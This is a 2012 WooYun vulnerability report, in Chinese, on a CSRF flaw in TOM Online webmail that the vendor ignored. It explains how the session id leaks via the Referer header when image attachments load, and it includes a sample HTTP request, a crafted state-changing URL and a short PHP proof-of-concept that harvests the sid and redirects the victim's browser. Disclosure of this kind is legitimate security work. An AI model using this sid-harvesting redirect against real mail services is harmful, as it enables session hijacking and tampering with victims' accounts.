当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-05815

漏洞标题：TOM邮箱CSRF漏洞

相关厂商：TOM在线

漏洞作者： 200

提交时间：2012-04-06 17:16

修复时间：2012-04-11 17:16

公开时间：2012-04-11 17:16

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-06： 细节已通知厂商并且等待厂商处理中
2012-04-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

TOM在线WEB邮箱存在多处CSRF漏洞

详细说明：

对于包含图片的附件，请求附件时Referer中会暴露当前sid，例如：

GET /mblogpic/be654a34c8f4aad1ec6a/2000 HTTP/1.1
Host: t100.qpic.cn
Connection: keep-alive
Cache-Control: max-age=0
If-Modified-Since: Fri, 06 Apr 2012 14:00:09 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19
Accept: */*
Referer: http://bjapp6.mail.tom.com/coremail/fcg/ldmsapp?funcid=readlett&sid=nAJcHTFziYRAMbTs&mid=1tbiEwEkBkV9AdrAoQAAsy%0A19%0A24%0A1&fid=1&ord=0&desc=1&start=0&fromsearch=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
DNT: 1


攻击者可以构造恶意图片，获取该sid，并构造重定向实现CSRF攻击，例如添加test@test.com至黑名单：

http://bjapp6.mail.tom.com/cgi/ldapapp?sid=nAJcHTFziYRAMbTs&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1


从而实现CSRF攻击

漏洞证明：

测试代码：

<?php
$url = parse_url($_SERVER['HTTP_REFERER']);
$host = $url['host'];
parse_str($url['query']);
$loc = "http://$host/cgi/ldapapp?sid=$sid&tempname=options%2Frefuselist.htm&funcid=opuserattr&optype=set&refuselist=test%40test.com&update.x=1";
header("Location: $loc");
?>

修复方案：

在URL中隐藏sid属性，限制GET操作

版权声明：转载请注明来源 200@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-04-11 17:16

厂商回复：

最新状态：

暂无